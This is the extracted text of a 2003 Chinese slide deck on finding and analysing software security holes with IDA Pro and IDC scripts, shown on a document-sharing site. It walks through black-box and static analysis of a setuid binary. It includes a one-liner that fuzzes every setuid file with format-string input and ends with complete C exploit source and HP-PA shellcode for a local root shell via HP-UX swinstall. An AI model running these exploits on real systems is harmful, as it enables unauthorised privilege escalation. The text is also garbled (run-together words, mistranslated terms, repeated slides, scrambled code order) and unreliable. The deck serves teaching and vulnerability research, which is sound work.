利用idapro發(fā)掘和分析安全漏洞_第1頁(yè)
利用idapro發(fā)掘和分析安全漏洞_第2頁(yè)
利用idapro發(fā)掘和分析安全漏洞_第3頁(yè)
利用idapro發(fā)掘和分析安全漏洞_第4頁(yè)
利用idapro發(fā)掘和分析安全漏洞_第5頁(yè)
已閱讀5頁(yè),還剩26頁(yè)未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

利用IDAPro開掘和分析平安漏洞watercloud日期:2003/12/25軟件平安漏洞開掘模型軟件平安漏洞開掘方法IDAPro使用根底與IDC腳本簡(jiǎn)介IDC在平安漏洞開掘中的應(yīng)用Copyright?watercloud@2003平安漏洞開掘模型和方法Copyright?watercloud@2003平安BUG軟件BUG理論根底:軟件測(cè)試方法平安漏洞開掘模型和方法Copyright?watercloud@2003平安漏洞存在于軟件的非孤立性中。數(shù)據(jù)處理中的邏輯錯(cuò)誤。來(lái)源數(shù)據(jù)的過(guò)分依賴。DATA邏輯錯(cuò)誤CDAB平安漏洞開掘模型和方法Copyright?watercloud@2003白盒測(cè)試灰盒測(cè)試黑盒測(cè)試主要針對(duì)開源系統(tǒng)(GNU/BSD)主要針對(duì)非開源系統(tǒng)〔商業(yè)Unix,Windows〕主要重點(diǎn)平安漏洞開掘模型和方法Copyright?watercloud@2003白盒測(cè)試黑盒測(cè)試一些自動(dòng)化工具::///rats:///://自己手寫一個(gè):$exportCC=`perl–e‘print“%9000s%n%n%n〞x800’`$find/-perm–u+s–execsh–c{}$CC\;平安漏洞開掘模型和方法Copyright?watercloud@2003靜態(tài)分析自動(dòng)化工具::///projects/bugscam動(dòng)態(tài)分析自動(dòng)化工具:://平安漏洞開掘模型和方法Copyright?watercloud@2003常用輔助工具:靜態(tài)考查:file、nm、strings、objdump、man反匯編:IDAPro、objdump、w32dsm、gdb動(dòng)態(tài)跟蹤:strace、lstrace、IDAPro、ollydbg動(dòng)態(tài)調(diào)試:gdb、insight、softice、ollydbg、windbg平安漏洞開掘模型和方法Copyright?watercloud@2003平安參考技術(shù)2:Crack發(fā)現(xiàn)和利用軟件平安漏洞發(fā)現(xiàn)和繞過(guò)軟件保護(hù)策略平安漏洞開掘模型和方法Copyright?watercloud@2003IDAPro的優(yōu)勢(shì):多芯片、多文件格式的支持。準(zhǔn)確的庫(kù)確定。函數(shù)參數(shù)的標(biāo)注。可以看到無(wú)符號(hào)文件的庫(kù)調(diào)用??煞治鲕浖碾[藏功能??煞治鰺o(wú)任何文檔的程序。漏洞開掘方法例如Copyright?watercloud@20031.外部觀察,了解文件類型、行為和外部接口。[cloud@rsaszzz]$filezzzzzz:setuidELF32-bitLSBexecutable,Intel80386,version1(SYSV),forGNU/Linux2.2.5,dynamicallylinked(usessharedlibs),strippedcloud@rsaszzz]$./zzzusage:./zzzstring[cloud@rsaszzz]$./zzzaafzzz(aa)=7d9dd0c79619cbcabb8f5095f61da05f<技術(shù)挑戰(zhàn)一>傳統(tǒng)漏洞開掘方法漏洞開掘方法例如Copyright?watercloud@20032.靜態(tài)分析,看看程序用了那些外部函數(shù):[cloud@rsaszzz]$objdump-Rzzz0804aa14R_386_JUMP_SLOTstrncat0804aa18R_386_JUMP_SLOTfileno0804aa1cR_386_JUMP_SLOTfprintf0804aa20R_386_JUMP_SLOTgetenv0804aa24R_386_JUMP_SLOTsystem0804aa28R_386_JUMP_SLOTsetresuid0804aa2cR_386_JUMP_SLOTfchmod0804aa38R_386_JUMP_SLOTstrcat0804aa3cR_386_JUMP_SLOTprintf0804aa40R_386_JUMP_SLOTgetuid0804aa44R_386_JUMP_SLOTsetreuid0804aa48R_386_JUMP_SLOTgetpwnam0804aa4cR_386_JUMP_SLOTexit0804aa50R_386_JUMP_SLOTmemset0804aa54R_386_JUMP_SLOTstrncpy0804aa58R_386_JUMP_SLOTfopen0804aa5cR_386_JUMP_SLOTsprintf0804aa60R_386_JUMP_SLOTgeteuid0804aa64R_386_JUMP_SLOTstrcpy....可以看到有了我們感興趣的:溢出:strcpy、sprintf、strcat、(strncpy、strncat也可能導(dǎo)致溢出)格式串:printf、sprintf執(zhí)行外部命令:system+setreuid/setresuid有可能高權(quán)限執(zhí)行我們的命令。外部接口:getenv、fopen、fprintf。條件競(jìng)爭(zhēng):fchmod疑慮問(wèn)題:setresuid/setreuid到底把權(quán)限去掉了還是設(shè)高了還是設(shè)低了?聯(lián)系的是同時(shí)出現(xiàn)了getuid,geteuid。漏洞開掘方法例如Copyright?watercloud@20033.靜態(tài)考查更多的外部接口有g(shù)etenv,那么到底getenv了哪些內(nèi)容,fopen又翻開了哪個(gè)個(gè)文件?[cloud@rsaszzz]$stringszzz....usage:./zzzstringfzzz()=%02xfzzz=ERR:stringtoolong.LOGNAMELOGFILElogfile=%sLOGPATHok:rootuser!ps-ef|sed's/r.*t//g'|awk'{print$1}'我們看到了感興趣的:LOGNAMELOGFILELOGPATHok:rootuser!ps-ef|sed's/r.*t//g'|awk'{print$1}'漏洞開掘方法例如Copyright?watercloud@20034.用ida反匯編,靜態(tài)考查我們以上發(fā)現(xiàn)的興趣點(diǎn):.text:0804940EpushoffsetaLogname;"LOGNAME".text:08049413call_getenv.text:08049418addesp,4.text:0804941Bmovdword_804A924,eax.text:08049420pushoffsetaLogfile;"LOGFILE".text:08049425call_getenv.text:0804942Aaddesp,4.text:0804973Eaddesp,8.text:08049741pushoffsetaLogname;"LOGNAME".text:08049746call_getenv.text:0804974Baddesp,4.text:0804974Emov[ebp-10h],eax.text:08049751pushoffsetaPsEfSedSR_TGAw;"ps-ef|sed's/r.*t//g'|awk'{print$1"....text:08049756call_system.text:0804975Baddesp,4深入看看我們可以發(fā)現(xiàn)調(diào)用system的函數(shù)在整個(gè)程序中沒(méi)有被調(diào)用過(guò)簡(jiǎn)單看了一下main函數(shù)開始局部沒(méi)有見到取消程序特權(quán)的調(diào)用漏洞開掘方法例如Copyright?watercloud@20035.在以上靜態(tài)分析根底上動(dòng)態(tài)考查我們發(fā)現(xiàn)的興趣點(diǎn):(1).是否有溢出、格式串等問(wèn)題??疾橐罁?jù)是處理外部輸入錯(cuò)誤時(shí)將會(huì)"Segmentationfault"之類的信息。[cloud@rsaszzz]$./zzz`perl-e'print"A"x24'`fzzz(AAAAAAAAAAAAAAAAAAAAAAAA)=ff605f02a57b3ae6f8c4cefded2c3c73?卡[?磕??Segmentationfault再用lstrace追蹤一下可以很快明確這是單字節(jié)溢出。(2).動(dòng)態(tài)和靜態(tài)結(jié)合分析文件操作LOGFILE環(huán)境變量可以用特權(quán)身份追加文件內(nèi)容:[cloud@rsaszzz]$exportLOGFILE=kk[cloud@rsaszzz]$./zzzddfzzz(dd)=5f3f6275e5a875a3de8cd6155fce81b7[cloud@rsaszzz]$ls-lkkcloud-rwxr-xr-x1rootaurora56Nov1011:24kkcloud[cloud@rsaszzz]$catkkcloudlogfile=kkcloudfzzz=5f3f6275e5a875a3de8cd6155fce81b7漏洞開掘方法例如Copyright?watercloud@20035.在以上靜態(tài)分析根底上動(dòng)態(tài)考查我們發(fā)現(xiàn)的興趣點(diǎn):(1).是否有溢出、格式串等問(wèn)題??疾橐罁?jù)是處理外部輸入錯(cuò)誤時(shí)將會(huì)"Segmentationfault"之類的信息。[cloud@rsaszzz]$./zzz`perl-e'print"A"x24'`fzzz(AAAAAAAAAAAAAAAAAAAAAAAA)=ff605f02a57b3ae6f8c4cefded2c3c73?卡[?磕??Segmentationfault再用lstrace追蹤一下可以很快明確這是單字節(jié)溢出。(2).動(dòng)態(tài)和靜態(tài)結(jié)合分析文件操作LOGFILE環(huán)境變量可以用特權(quán)身份追加文件內(nèi)容:[cloud@rsaszzz]$exportLOGFILE=kk[cloud@rsaszzz]$./zzzddfzzz(dd)=5f3f6275e5a875a3de8cd6155fce81b7[cloud@rsaszzz]$ls-lkkcloud-rwxr-xr-x1rootaurora56Nov1011:24kkcloud[cloud@rsaszzz]$catkkcloudlogfile=kkcloudfzzz=5f3f6275e5a875a3de8cd6155fce81b7漏洞開掘方法例如Copyright?watercloud@20035.在以上靜態(tài)分析根底上動(dòng)態(tài)考查我們發(fā)現(xiàn)的興趣點(diǎn):(1).是否有溢出、格式串等問(wèn)題??疾橐罁?jù)是處理外部輸入錯(cuò)誤時(shí)將會(huì)"Segmentationfault"之類的信息。[cloud@rsaszzz]$./zzz`perl-e'print"A"x24'`fzzz(AAAAAAAAAAAAAAAAAAAAAAAA)=ff605f02a57b3ae6f8c4cefded2c3c73?卡[?磕??Segmentationfault再用lstrace追蹤一下可以很快明確這是單字節(jié)溢出。(2).動(dòng)態(tài)和靜態(tài)結(jié)合分析文件操作LOGFILE環(huán)境變量可以用特權(quán)身份追加文件內(nèi)容:[cloud@rsaszzz]$exportLOGFILE=kk[cloud@rsaszzz]$./zzzddfzzz(dd)=5f3f6275e5a875a3de8cd6155fce81b7[cloud@rsaszzz]$ls-lkkcloud-rwxr-xr-x1rootaurora56Nov1011:24kkcloud[cloud@rsaszzz]$catkkcloudlogfile=kkcloudfzzz=5f3f6275e5a875a3de8cd6155fce81b7(3).比較難的局部是分析文件運(yùn)行中權(quán)限是如何變化的通過(guò)仔細(xì)閱讀ida反匯編結(jié)果,最后我們可以發(fā)現(xiàn)LOGNAME=root可調(diào)整程序特權(quán)。(4).直覺(jué)告訴我們?nèi)绻芰私獬绦騢ash值算法能更有效指導(dǎo)我們寫利用程序。仔細(xì)閱讀反匯編程序可以得知這是一個(gè)md5算法。漏洞開掘方法例如Copyright?watercloud@20036.小結(jié)對(duì)一個(gè)未明2進(jìn)制文件外表上看起來(lái)我們對(duì)他似乎只能進(jìn)行黑盒測(cè)試,但通過(guò)我們對(duì)文件從不同角度進(jìn)行觀察,找出可能點(diǎn),然后再進(jìn)行有針對(duì)的黑盒測(cè)試加閱讀關(guān)鍵點(diǎn)的反匯編代碼我們就能完成對(duì)文件的比較全面考查。黑灰動(dòng)靜漏洞開掘方法例如Copyright?watercloud@2003考察功能不夠完備。復(fù)雜漏洞和隱藏功能相關(guān)漏洞無(wú)法觸發(fā)。Unix平臺(tái)反匯編復(fù)雜,效率低下。考察Unix平臺(tái)調(diào)用接口復(fù)雜,效率低下。不使用IDAPro前漏洞開掘困難:傳統(tǒng)開掘方法成績(jī)Copyright?watercloud@2003Solaris7/8HP-UX11Aix4.3/5.1161831IDAPro使用根底Copyright?watercloud@2003演示IDC簡(jiǎn)介Copyright?watercloud@2003演示利用IDC腳本開掘漏洞Copyright?watercloud@2003HP-UXB11.11swinstall:利用IDC腳本開掘漏洞Copyright?watercloud@2003char**argv;{intaddr_off=8208;longaddr_e=0;intn=BUFF_LEN/4,i=0;long*ap=(long*)&buffer[BUFF_LEN];char*sp=&buffer[BUFF_LEN-strlen(shellcode)];long*np=(long*)buffer;if(argc>0) addr_off+=atoi(argv[1]);addr=((long)&addr_off+addr_off)/4*4+4;for(i=0;i<n;np[i++]=NOP);memcpy(sp,shellcode,strlen(shellcode));for(i=0;i<(T_LEN-BUFF_LEN)/4;ap[i++]=addr);buffer[T_LEN-2]+=1;buffer[T_LEN-1]='\0';sprintf(buffer_env,"LANG=AAA%s",buffer);putenv(buffer_env);execl("/usr/sbin/swinstall","swinstall","/tmp/null",NULL); /*iffalse,testswverify.*/execl("/usr/sbin/swverify","swverify",NULL);}/*Program:ex_sw.cUse:HPUX11.11/11.0exploitswxxxtogetlocalrootshell.Complie:ccex_sw.c-oex_sw;./ex_sw(notusegccforsomesystem)Usage:./ex_sw[off]Tested:HPUXB11.11&HPUXB11.0Author:watercloudDate:2002-12-11Note:Useasyourownrisk!!使用風(fēng)險(xiǎn)自己承擔(dān)!*/#include<stdio.h>#defineT_LEN2124#defineBUFF_LEN1688#defineNOP0x0b390280charshellcode[]="\x0b\x5a\x02\x9a\x34\x16\x03\xe8\x20\x20\x08\x01\xe4\x20\xe0\x08""\x96\xd6\x04\x16\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22""\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08\xb4\x16\x70\x16""/bin/shA";longaddr;charbuffer_env[2496];charbuffer[T_LEN];voidmain(argc,argv)intargc;swinstall利用程序利用IDC腳本開掘漏洞Copyright?watercloud@2003講述HalvarFlake的思想引用Halv

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論